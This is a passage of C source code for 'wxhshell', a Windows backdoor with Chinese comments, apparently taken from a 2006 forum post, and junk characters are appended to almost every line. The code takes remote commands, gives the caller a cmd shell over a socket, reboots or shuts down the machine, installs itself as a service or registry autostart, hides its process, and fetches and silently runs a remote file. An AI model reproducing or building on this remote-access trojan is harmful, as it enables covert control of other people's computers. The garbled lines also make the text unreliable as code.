  } w#A\(z%;x  
  else { t6+W  
y ]@JkF(  
    switch(cmd[0]) { I(R%j]LX&  
  \)uA:v  
  // 帮助 2=K|kp5  
  case '?': { sHBTB6)lx  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ghB&wOm/  
    break; 6ZHeAb]"  
  } 3^wHL:u  
  // 安装 !6X6_ +}M  
  case 'i': { P/ 6$TgQ  
    if(Install()) v?]a tb/h`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F68e I%Y  
    else [sH3REE1h  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z~`X4Segw  
    break; dI%jR&.e;  
    } ZPE-  
  // 卸载 em,1Yn?  
  case 'r': { d*Mqs}8  
    if(Uninstall()) fNAW4I I}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $[`rY D/.  
    else F%p DF\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ["&{^  
    break; }Em{?Hqy  
    } 00i MU  
  // 显示 wxhshell 所在路径 Ddq*}Pf0K  
  case 'p': { J2x}@p  
    char svExeFile[MAX_PATH]; 9b=0 4aWHm  
    strcpy(svExeFile,"\n\r"); Z|*#)<| ~  
      strcat(svExeFile,ExeFile); l9|K,YVW  
        send(wsh,svExeFile,strlen(svExeFile),0); zT)cg$8%fY  
    break; .>TG{>sH  
    } Ua|iAD 1  
  // 重启 |LC"1 k  
  case 'b': { 8k:^( kByF  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Z_bVCe{  
    if(Boot(REBOOT)) ldp9+7n~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y[l{ UBue:  
    else { I>nYI|o1  
    closesocket(wsh); Ek `bPQ5  
    ExitThread(0); ?q4`&";{3  
    } xva e^gr  
    break; -7w}+iS  
    } Hl%Og$q3  
  // 关机 fh)eL<I  
  case 'd': { E-Xz  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9[VYd '  
    if(Boot(SHUTDOWN)) XZ.D<T"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iP9]b&  
    else { XYP RMa?  
    closesocket(wsh); q j21#q .  
    ExitThread(0); `. JW_F)1  
    } }a!|n4|`  
    break; `T+>E0H(f  
    } dpS@:  
  // 获取shell >H;m[  
  case 's': { tx[;& ;  
    CmdShell(wsh); 7Dssr [  
    closesocket(wsh); Eu&$Rq}  
    ExitThread(0); ) q'D9x9  
    break; U1/I( w  
  } p2l@6\m\  
  // 退出 f@ |[pT  
  case 'x': { [Uq`B &F:  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =/'>.p3/S  
    CloseIt(wsh); <7ANXHuSW  
    break; w{T$3F`@9  
    } "2C}Pr ,p8  
  // 离开 [g@qZ5I.  
  case 'q': { N e{=KdzT  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); k0I$x:c  
    closesocket(wsh); S_Nm?;P  
    WSACleanup(); SbX^DAlB1  
    exit(1); Jgr;'U$  
    break; f eB ?  
        } 3C!|!N1Hn  
  } 5s^vC2$)  
  } Wx3DWY;  
r]xN&Ne5Q  
  // 提示信息 _z%\53h  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V+1c<LwT  
} r0k :RJP  
  } C[znUI>  
q7aqbkwz}  
  return; WLU_t65  
} " w V  
3)>re&  
// shell模块句柄 X$u l=iBs  
int CmdShell(SOCKET sock) y'2w*?  
{ "'``O~08/  
STARTUPINFO si; 1r.2bL*~jw  
ZeroMemory(&si,sizeof(si)); lrHN6:x(Y4  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; GNmP_N  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Em Ut/]  
PROCESS_INFORMATION ProcessInfo; 1S(oi  
char cmdline[]="cmd"; .yUD\ZGJ u  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); R6 ej  
  return 0; 7ZAxhFC  
} YG*<jKcX  
>#r0k|3J^J  
// 自身启动模式 {-7ovH?  
int StartFromService(void) _G-6G=q  
{ VWdTnu  
typedef struct Tg@G-6u0c  
{ d=+zOF  
  DWORD ExitStatus; YSB> WBS-<  
  DWORD PebBaseAddress; 9({ 9r[U  
  DWORD AffinityMask; t4;gY298  
  DWORD BasePriority; ={o4lFe3v(  
  ULONG UniqueProcessId; KMb'm+  
  ULONG InheritedFromUniqueProcessId; ;dZZOocV1  
}   PROCESS_BASIC_INFORMATION; 7mi=Xa:U  
-u~:Gd*l0  
PROCNTQSIP NtQueryInformationProcess; ?S=y>b9R  
dmkGIg}  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; k "7,-0gz  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; d/oD]aAEr  
h8.(Q`tli  
  HANDLE             hProcess; 0 nI*9  
  PROCESS_BASIC_INFORMATION pbi; dQH8s  
{7IZN< e  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 4$2HO `@uN  
  if(NULL == hInst ) return 0; TGG=9a]m  
mg70%=qM0f  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); fOSJdX0e|Q  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); mBrZ{hqS  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); h8M}}   
vfc5M6Vm)<  
  if (!NtQueryInformationProcess) return 0; H 9/m6F  
er 1zSTkg  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `3K."/N6c  
  if(!hProcess) return 0; B "4A1!  
Ls|)SiXrY  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; kW%wt1",  
H<^3H  
  CloseHandle(hProcess); Zg= {  
Yqu/_6wLx  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ]x& R=)P  
if(hProcess==NULL) return 0; \mb@-kM)  
;/23CFYM  
HMODULE hMod; }|=Fnyj  
char procName[255]; K43`$  
unsigned long cbNeeded; S9b=?? M)  
7PfNPz<4+  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); a&mL Dh/  
[UdJ(cGf  
  CloseHandle(hProcess); t]3:vp5N]  
H,/ =<Th;i  
if(strstr(procName,"services")) return 1; // 以服务启动 `7`` 1TL  
_q-k1$ o$  
  return 0; // 注册表启动 %ID48_>*  
} )99^58my  
's"aPqF?  
// 主模块 0 >(hiT y<  
int StartWxhshell(LPSTR lpCmdLine) W1M Bk[:Q  
{ Ttb?x<)+8  
  SOCKET wsl; -DZ5nx  
BOOL val=TRUE; E7SmiD@)  
  int port=0; 6]!Jo)BF  
  struct sockaddr_in door; N^[MeG,8  
5P);t9O6  
  if(wscfg.ws_autoins) Install(); vls+E o]  
b\NY!)B  
port=atoi(lpCmdLine); bWCtRli}  
'UCClj;?K  
if(port<=0) port=wscfg.ws_port; j6*e^ B  
Xe ^NVF  
  WSADATA data; *m&'6qsS  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; qvh8~[  
#x6w M~  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   X*)DpbWd  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :9>U+)%  
  door.sin_family = AF_INET; Oeg^%Y   
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); .nA9irc  
  door.sin_port = htons(port); PGTjOkx  
.q 4FGPWz  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =':SOO7  
closesocket(wsl); |hvclEu,  
return 1; *L<<S=g$2  
} FYg{IKg  
/I`-  
  if(listen(wsl,2) == INVALID_SOCKET) { k1D|Cpnp  
closesocket(wsl); VB+_ kR6Zv  
return 1; zP!j {y4w  
} dHn,;Vv^6  
  Wxhshell(wsl); R C!~eJG!  
  WSACleanup(); $U^ Ms!'L  
V1,4M_Z  
return 0; xiC.M6/  
u3 4.   
} ){tT B  
gHH[QLD=I  
// 以NT服务方式启动 IV`+B<3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )\izL]=!t  
{ @zsqjm  
DWORD   status = 0; _^0UK|[  
  DWORD   specificError = 0xfffffff; ~P-^An^  
P>] *pD  
  serviceStatus.dwServiceType     = SERVICE_WIN32; I<&) P#"  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; y 5Kr<cF^  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; vF{{$)c  
  serviceStatus.dwWin32ExitCode     = 0; K>2Bz&)  
  serviceStatus.dwServiceSpecificExitCode = 0; %F0.TR!!n  
  serviceStatus.dwCheckPoint       = 0; 3qp\jh=FE  
  serviceStatus.dwWaitHint       = 0; ^7`gf  
vri<R8  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?j8_j  
  if (hServiceStatusHandle==0) return; YipL_&-  
Bv}i#D  
status = GetLastError(); }SW>ysw'm  
  if (status!=NO_ERROR) [-=y*lx %g  
{ Jj+Hj[(@  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; |s !7U  
    serviceStatus.dwCheckPoint       = 0; n--s[Kdo8  
    serviceStatus.dwWaitHint       = 0; {k<mN Y  
    serviceStatus.dwWin32ExitCode     = status; ?ieC>cr  
    serviceStatus.dwServiceSpecificExitCode = specificError; bqZ5GKUo  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); [_tBv" z  
    return; Xf|I=XK  
  } N*}g+ IS  
H7Ee0T(`  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; _GL:4  
  serviceStatus.dwCheckPoint       = 0; `Y<FR  
  serviceStatus.dwWaitHint       = 0; mx0EEU*  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8/ CK(G  
} Fau24-g  
MB?762 Q  
// 处理NT服务事件,比如:启动、停止 lM%3 ?~?Q&  
VOID WINAPI NTServiceHandler(DWORD fdwControl) FlLk.+!t  
{ t\,X G  
switch(fdwControl) ;c#jO:A5  
{ x?G"58  
case SERVICE_CONTROL_STOP: K|wB0TiXP  
  serviceStatus.dwWin32ExitCode = 0; OGnuBK  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 6"c(5#H  
  serviceStatus.dwCheckPoint   = 0; WP? AQD  
  serviceStatus.dwWaitHint     = 0; 1n>(CwLG"  
  { r )f+j@KF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Wtj* Z.=:  
  } TDW\n  
  return; 3ZL<6`YF  
case SERVICE_CONTROL_PAUSE: 8]% e[  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; J@(69&  
  break; /V E|FTs  
case SERVICE_CONTROL_CONTINUE: 89%#;C  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; p y%RR*4#  
  break; +)e+$ l  
case SERVICE_CONTROL_INTERROGATE: |il P>b  
  break; Zopi;O J  
}; `z6I][Uf  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bb`8YF+?'  
} a~Y`N73/c  
,\ zx4 *  
// 标准应用程序主函数 d01]5'f?o  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) YyD0g9{  
{ :sJQ r._L  
$36.*s m  
// 获取操作系统版本 P^m&oH5]EG  
OsIsNt=GetOsVer(); /9@ VnM  
GetModuleFileName(NULL,ExeFile,MAX_PATH); @A8@j%CK1  
j4]y(AA  
  // 从命令行安装 sk~inIj-  
  if(strpbrk(lpCmdLine,"iI")) Install(); 63pd W/\j  
p2(Z(V7*  
  // 下载执行文件 7NQEnAl  
if(wscfg.ws_downexe) { a/lTQj]A  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %bgUU|CdA  
  WinExec(wscfg.ws_filenam,SW_HIDE); 7toDk$jJRg  
} AP/#?   
PI$K+}E  
if(!OsIsNt) { ~y8KQ-1n"  
// 如果时win9x,隐藏进程并且设置为注册表启动 8QFg6#"O  
HideProc(); C"g bol^  
StartWxhshell(lpCmdLine); *w23(f  
} X~ g9TUv8  
else qW|_|%{U+  
  if(StartFromService()) QJtO~~-  
  // 以服务方式启动 %@Nu{?I  
  StartServiceCtrlDispatcher(DispatchTable); <4%vl+qW  
else _+}#  
  // 普通方式启动 Q?{^8?7  
  StartWxhshell(lpCmdLine); &O^t]7  
iO{LsG*5Z  
return 0; } o@Dsx5  
}
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只看该作者 1 发表于: 2006-10-10
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